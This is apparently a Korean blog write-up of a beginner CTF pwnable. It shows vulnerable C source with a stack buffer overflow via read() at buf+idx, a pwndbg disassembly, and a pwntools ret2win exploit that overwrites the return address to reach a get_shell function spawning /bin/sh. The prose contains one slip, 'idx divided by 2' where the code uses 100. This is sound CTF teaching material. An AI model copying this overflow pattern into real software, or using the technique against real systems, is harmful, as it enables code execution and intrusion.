Fascination
article thumbnail

해당 문제도 SISS 부원 중 시스템 해킹을 처음 공부하고 있는 사람이 냈다고해서 풀어봤다.

실제 대회에서는 for beginner 태그가 붙었다고하니 아마 입문자들이 가장 먼저 도전해보지 않았을까 싶다

 

# 문제분석

- 주어진 소스코드

이미 소스코드가 주어졌기 때문에 우리는 실제 buf가 할당되는 크기만 확인해주면 어렵지 않게

문제를 해결할 수 있을 것이다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell()
{
    char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};
    execve(cmd, args, NULL);
}

int main()
{
    char buf[0xFF];
    int idx;

    initialize();

    memset(buf, 0, sizeof(buf));

    scanf("%d", &idx);
    if (idx/100 == 2){
        read(0, buf + idx, 0x1000);
    }

    return 0;
}

idx를 2로 나눈 몫이 2와 같아야 read 함수를 통한 bof 공격이 가능하며,

이때 입력되는 주소가 buf의 시작주소+입력한 idx 이므로 계산할 때 주의해야할 것 같다

- checksec

checksec를 통해 확인해보았을 때 카나리나 스택 내 실행권한 등 신경써야 할 보호기법은 확인되지 않는다

 

 

# Exploit

- exploit 과정

pwndbg> disassemble main
Dump of assembler code for function main:
   0x000000000040087d <+0>:     push   rbp
   0x000000000040087e <+1>:     mov    rbp,rsp
   0x0000000000400881 <+4>:     sub    rsp,0x110
   0x0000000000400888 <+11>:    mov    eax,0x0
   0x000000000040088d <+16>:    call   0x4007e1 <initialize>
   0x0000000000400892 <+21>:    lea    rax,[rbp-0x100]
   0x0000000000400899 <+28>:    mov    edx,0xff
   0x000000000040089e <+33>:    mov    esi,0x0
   0x00000000004008a3 <+38>:    mov    rdi,rax
   0x00000000004008a6 <+41>:    call   0x400660 <memset@plt>
   0x00000000004008ab <+46>:    lea    rax,[rbp-0x104]
   0x00000000004008b2 <+53>:    mov    rsi,rax
   0x00000000004008b5 <+56>:    lea    rdi,[rip+0xe9]        # 0x4009a5
   0x00000000004008bc <+63>:    mov    eax,0x0
   0x00000000004008c1 <+68>:    call   0x4006c0 <__isoc99_scanf@plt>
   0x00000000004008c6 <+73>:    mov    eax,DWORD PTR [rbp-0x104]
   0x00000000004008cc <+79>:    sub    eax,0xc8
   0x00000000004008d1 <+84>:    cmp    eax,0x63
   0x00000000004008d4 <+87>:    ja     0x4008fa <main+125>
   0x00000000004008d6 <+89>:    mov    eax,DWORD PTR [rbp-0x104]
   0x00000000004008dc <+95>:    cdqe
   0x00000000004008de <+97>:    lea    rdx,[rbp-0x100] # buf의 시작주소
   0x00000000004008e5 <+104>:   add    rax,rdx
   0x00000000004008e8 <+107>:   mov    edx,0x1000
   0x00000000004008ed <+112>:   mov    rsi,rax
   0x00000000004008f0 <+115>:   mov    edi,0x0
   0x00000000004008f5 <+120>:   call   0x400680 <read@plt>
   0x00000000004008fa <+125>:   mov    eax,0x0
   0x00000000004008ff <+130>:   leave
   0x0000000000400900 <+131>:   ret
End of assembler dump.

main 함수의 disassemble code를 확인했을 때,

C언어 코드에서는 buf의 크기가 0xFF로 지정되어 있었지만, 실제로 0x100만큼 할당되어 있음을 확인할 수 있다

 

read 함수를 통한 bof 공격을 위해 idx는 200이 되어야하한다

따라서 return address를 조작하기 위해 입력해야 할 dummy는 buf의 크기에서 200을 뺀 56개임을 확인할 수 있다.

 

exploit 흐름은 다음과 같다

1. idx로 200을 입력
2. read의 입력 값으로 '56개의 dummy+rbp(8)+ret(get_shell의 주소)'인 payload를 넘겨줌

 

- exploit code

exploit 흐름에 따라 작성한 exploit code는 다음과 같다

from pwn import *

p = process("./horcrux")
elf = ELF("./horcrux")

get_shell = elf.symbols['get_shell']

# if idx/100 == 2 => idx == 200
p.sendline('200')

# bof
payload = b"A"*56 + b"B"*8 + p64(get_shell)
p.send(payload)

p.interactive()

 

실제 서버에서 플래그를 획득한 모습은 다음과 같다

 

해당 문제는 buf에 저장되는 값이 꼭 buf의 시작주소로부터 입력되지 않을수도 있다는 교훈을 줄 수 있는 문제로

해킹을 처음하는 사람들이 wargame이나 CTF에서 습관적으로 코드를 짜다가 당황했을 수도 있지 않을까 싶은 문제였던 것 같다.

소스코드를 제공하지 않았다면 더 좋지 않았나 싶다 :)

'War Game & CTF > CTF-writeup' 카테고리의 다른 글

[2023 Hacking-Camp CTF / pwnable] step write-up  (0) 2023.02.14
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!